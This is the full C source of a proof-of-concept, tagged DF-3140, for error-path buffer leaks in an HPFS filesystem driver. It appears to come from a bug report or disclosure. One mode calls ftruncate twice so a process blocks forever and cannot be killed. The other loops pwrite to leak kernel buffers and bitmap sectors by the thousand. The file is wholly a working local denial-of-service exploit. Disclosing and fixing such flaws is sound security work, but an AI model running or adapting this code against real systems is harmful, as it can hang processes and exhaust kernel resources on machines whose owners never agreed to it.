DF-3140 / poc.c
/* * DF-3140 PoC — error-path buffer leaks in hpfs_addextent (:498-500) * and hpfs_truncatealblk (:798-801). * * mode trunc <file>: * ftruncate(fd, 512) -> returns EIO/EINVAL, LEAKS C1's buffer * ftruncate(fd, 512) -> blocks forever in getblk() on the leaked * still-B_BUSY buffer (never returns; the * process becomes unkillable) * * mode add <file> <iters>: * loop pwrite(fd, 1, 512) — each failing pwrite leaks one 512-byte * B_BUSY buffer + one bitmap sector (addextent conversion path). */ #include <sys/fcntl.h> #include <err.h> #include <stdio.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *mode, *path; char one = 0x41; long i, iters; int fd, rc; if (argc < 3) { fprintf(stderr, "usage: %s trunc <file> | add <file> <iters>\n", argv[0]); return 2; } mode = argv[1]; path = argv[2]; fd = open(path, O_RDWR); if (fd < 0) err(1, "open %s", path); if (strcmp(mode, "trunc") == 0) { printf("DF3140 trunc: 1st ftruncate(512)...\n"); fflush(stdout); rc = ftruncate(fd, 512); printf("DF3140 trunc: 1st rc=%d (buffer leaked)\n", rc); fflush(stdout); printf("DF3140 trunc: 2nd ftruncate(512)...\n"); fflush(stdout); rc = ftruncate(fd, 512); printf("DF3140 trunc: 2nd rc=%d (UNEXPECTED - no hang)\n", rc); return 0; } iters = (argc > 3) ? atol(argv[3]) : 100000; for (i = 0; i < iters; i++) { if (pwrite(fd, &one, 1, 512) < 0) { /* expected: extend fails, one buffer leaked */ } if ((i % 50000) == 0 && i) { printf("DF3140 add: %ld iterations\n", i); fflush(stdout); } } printf("DF3140 add: finished %ld iterations\n", iters); return 0; } |